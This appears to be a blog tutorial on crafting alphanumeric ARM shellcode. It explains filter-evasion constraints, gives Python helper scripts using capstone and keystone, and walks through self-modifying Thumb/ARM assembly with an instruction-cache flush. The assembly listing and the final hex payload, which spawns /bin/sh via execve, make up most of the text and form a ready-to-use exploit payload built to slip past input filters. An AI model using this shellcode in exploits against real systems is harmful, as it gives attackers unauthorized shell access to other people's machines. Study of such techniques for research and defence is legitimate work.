Arm Alphanumeric Shellcode

Alphanumeric ARM Shellcode

Shellcode is a piece of code that is used as payload in binary exploitation . It is called a shellcode because for most of the time it is used create shell session to the attacker . The process of creating shellcode is that we write the required code in assembly language and this is coveted to binary by assembling these instructions and this is used . And with a security vulnerability we can make the software execute this code thus giving us access to the machine . Some times these shellcode should pass thought many filters due to the method how the data is read or there might be restriction on the possible characters that can be given as input to the program , for example if the program reads the input as command line argument the shellcode should not contain null characters because the string is terminated by a null and the program will only get the values till that position .

An alphanumeric shellcode should only have alphanumeric characters in it . Most of the input filed will accept this input thus this shellcode have a higher success rate that it will be accepted by the program . We will be creating a shellcode for ARM Architecture

So lets begin ,

We can use capstone to brute all the possible instructions that can be used in both arm and thumb mode . This was useful a couple of time


from capstone import *
from itertools import permutations

VALID = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

THUMB = False

if THUMB:
    md = Cs(CS_ARCH_ARM, CS_MODE_THUMB)
else:
    md = Cs(CS_ARCH_ARM, CS_MODE_ARM)

for j in permutations(VALID,4):
    for i in md.disasm(''.join(j), 0x1000):
        print("%s:\t%s\t%s" %(''.join(j), i.mnemonic, i.op_str))

The phrack Issue 66 Article 12 Alphanumeric RISC ARM Shellcode by Yves Younan and Pieter Philippaerts was really help full . There is also updated version of this paper by the same person

Then i needed a way to check whether an instruction is alphanumeric or not and we need to generate the shellcode .


from keystone import *
from termcolor import colored

# ARM Aphanumeric Shellcode Checker

THUMB = True

CODE = '''
adds r1 , 0x41
'''

CODE = CODE.split('\n')
 
shellcode = []

print colored("-"*0x20,'white')
try:
  # Initialize engine in X86-32bit mode
  if THUMB:
    ks = Ks(KS_ARCH_ARM, KS_MODE_THUMB)
  else:
    ks = Ks(KS_ARCH_ARM, KS_MODE_ARM)
  for i in CODE:
    encoding, count = ks.asm(i)
    if encoding != None :
        encoding = list(encoding)
        for j in encoding:
            shellcode.append(str('\\'))
            shellcode.append(str('x'))
            shellcode.append(hex(j)[2:])
            if chr(j) not in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
                print colored(  str(j) ,'red' ,),
            else:
                print colored(
                  str(j) ,'green' ,),
        print colored("\t->\t%s " %(i),'blue')
    

except KsError as e:
  print("ERROR: %s" %e)

print(''.join(shellcode))

I basically checks whether the instruction is alphanumeric or not and prints the result with colors ;) .

$ python test.py
--------------------------------
65 49   ->      adds r1 , 0x41 
\x41\x31

There was a Alphanumeric shellcode in the phrack article which did not work for me , The code crashes on STM instruction which is used to push some values to the sack . Later these values are poped from the stack and loaded to the register . The thing is ,in ARM the argument to a syscall is passed through the registers r0-r3 and the syscall number is in r7 register . So loading values to these registers are really important the only instruction that can be used to manipulate this is LDM and STM , load multiple and store multiple in ARM mode . The case is different in THUMB mode. In thumb mode we can manipulate these registers . I am talking in the context that these instruction should produce alphanumeric characters .

To get a shell we need to call the execve syscall with the svc instruction which is not a alphanumeric instruction , the solution is to write the correct hex at that location at run time ie , we need to write a self modifying code . And there is instruction cache in ARM which is not invalidated even when instruction in memory is changed. In x86 this happens automatically . Therefor we have to flush the cache manually

MOV   r0 , #0
MOV   r1 , #−1
MOV   r2 , #0
SWI 0x9F0002

This code can be used to flush the cache . Actually the 0x9f0002 will not be alphanumeric , but the 0x9f0002 is treated as data passed to the interrupt so we can give any number which gives alphanumeric code then later change it to the required value at runtime .

The above instruction is for ARM mode , and We can only manipulate the value of r0-r3 register in THUMB mode , So we have to copy the required value to the correct register in THUMB mode then switch to ARM mode to execute this instruction that will flush the cache the again return to THUMB mode and call the syscall with svc instruction .

All the modification of code should be done before the flush is called.

Lets assume that r0 register contains the value 0

muls r1 , r0      # r1=0
muls r2 , r0      # r2=0
mov r0 , pc       # r0=pc

muls r5, r2       #r5=0
adds r1, 0x43
subs r1, 0x41
adds r5, 0x41
strb r1 ,[ r0 , r5 ]

muls r5 , r2
muls r1 , r2
adds r5, 0x4d
strb r1 ,[ r0 , r5 ]

strb instruction can be used to copy a byte to the required location , r0 is initialized with the address of pc we use this as a base address to write the code . we have to use values in the alphanumeric range to produce the required value with some arithmetic operation. In the above code stores 0x2 at the location r0+0x41 and 0x0 at location r0+0x4d . like this we have to modify all the required values .

To jump from THUMB mode to ARM mode we can use bx pc instruction and from ARM to THUMB we can use bx r6 so we need to load the address of the location we need to jump before that .

So we will first jump to thumb mode change the code , set the correct register values to flash the cache then jump to arm mode flush the cache change to thumb mode set “/bin/sh” and call execve syscall .

This is the finished shellcode , It is not that optimized but does the job .

 # we are asuming that r0=0
.code 16
	muls r1 , r0  # r1=0
	muls r2 , r0  # r2=0
	mov r0 , pc   # r0=pc

	muls r5, r2      # the following code are for inserting
	adds r1, 0x43    # swi and bx instructions
	subs r1, 0x41    # 2 0 159 239     ->      swi 0x9f0002
    adds r5, 0x4d    # 22 255 47 225   ->      bx r6
	adds r5, 0x41  
	strb r1 ,[ r0 , r5 ]

	muls r5 , r2
	muls r1 , r2
	adds r5, 0x4d
	adds r5, 0x42
	strb r1 ,[ r0 , r5 ]

	muls r5, r2
	muls r1, r2
	adds r1, 0x61
	adds r1, 0x70
	subs r1, 0x32
	adds r5, 0x4d
	adds r5, 0x43
	strb r1 ,[ r0 , r5 ]

	muls r5, r2
	adds r1, 0x50
	adds r5, 0x4d
	adds r5, 0x44
	strb r1 ,[ r0 , r5 ]


	muls r5, r2
	muls r1, r2
	adds r1, 0x61
	subs r1, 0x4b
	adds r5, 0x4d
	adds r5, 0x45
	strb r1 ,[ r0 , r5 ]

	muls r5, r2
	muls r1, r2
	adds r1, 0x7a
	adds r1, 0x41
	adds r1, 0x44
	adds r5, 0x4d
	adds r5, 0x46
	strb r1 ,[ r0 , r5 ]

	muls r5, r2
	muls r1, r2
	adds r1, 0x7a
	subs r1, 0x4b
	adds r5, 0x4d
	adds r5, 0x47
	strb r1 ,[ r0 , r5 ]

	muls r5, r2
	adds r1, 0x70
	adds r1, 0x42
	adds r5, 0x4d
	adds r5, 0x48
	strb r1 ,[ r0 , r5 ]

	muls r5, r2           # this block write 0xdf 
	adds r1, 0x41         # which is the opcode for svc instruction
	subs r1, 0x43
	adds r5, 0x39
	adds r5, 0x41
	adds r5, 0x4d
	strb r1 ,[ r0 , r5 ]

	muls r1 , r2          # set r6 regiseter with correct location
	adds r1, 0x41
	subs r1, 0x42
	negs r6 , r1
	muls r6 , r0
	adds r6 , 0x4d
	adds r6 , 0x4a

	muls r0,r2           # r0=0
	muls r1,r2        
	adds r1 , 0x41       
	subs r1 , 0x42       # r1=-1

	bx pc 
	adds r7,0x41

.byte 0x41 0x41 0x41 0x41    # these bytes are modified to swi 0x9f0002
.byte 0x41 0x41 0x41 0x41    # bx r6

	muls r2 , r0
	mov r0 , pc
	muls r5 , r2
	muls r1 , r2

	adds r1 , 100           # AbinAshA is changed to /bin/sh
	subs r1 , 53
	adds r5 , 48           
	strb r1 ,[ r0 , r5 ]

	muls r5 , r2
	adds r5 , 52
	strb r1 , [ r0 , r5]

	muls r5 , r2
	adds r5 , 55
	strb r2 , [ r0 , r5]

	muls r1,r2
	adds r1 , 0x50
	subs r1 , 0x51
	negs r7 , r1     # r7=1
	muls r1,r2
	adds r1, 0x4c
	subs r1 , 0x41   # r1=0xb
	muls r7 , r1     # r7=0xb
	adds r0, 48
	muls r1 , r2

.byte 0x41 0x41    # svc instruction 
.ascii "AAAAAbinAshA"

Final shellcode

“\x41\x43\x42\x43\x78\x46\x55\x43\x43\x31\x41\x39\x4d\x35\x41\x35\x41\x55\x55\x43\x51\x43\x4d\x35\x42\x35\x41\x55\x55\x43\x51\x43\x61\x31\x70\x31\x32\x39\x4d\x35\x43\x35\x41\x55\x55\x43\x50\x31\x4d\x35\x44\x35\x41\x55\x55\x43\x51\x43\x61\x31\x4b\x39\x4d\x35\x45\x35\x41\x55\x55\x43\x51\x43\x7a\x31\x41\x31\x44\x31\x4d\x35\x46\x35\x41\x55\x55\x43\x51\x43\x7a\x31\x4b\x39\x4d\x35\x47\x35\x41\x55\x55\x43\x70\x31\x42\x31\x4d\x35\x48\x35\x41\x55\x55\x43\x41\x31\x43\x39\x39\x35\x41\x35\x4d\x35\x41\x55\x51\x43\x41\x31\x42\x39\x4e\x42\x46\x43\x4d\x36\x4a\x36\x50\x43\x51\x43\x41\x31\x42\x39\x78\x47\x41\x37\x41\x41\x41\x41\x41\x41\x41\x41\x42\x43\x78\x46\x55\x43\x51\x43\x64\x31\x35\x39\x30\x35\x41\x55\x55\x43\x34\x35\x41\x55\x55\x43\x37\x35\x42\x55\x51\x43\x50\x31\x51\x39\x4f\x42\x51\x43\x4c\x31\x41\x39\x4f\x43\x30\x30\x51\x43\x41\x41\x41\x41\x41\x41\x41\x62\x69\x6e\x41\x73\x68\x41”

Happy Hacking !!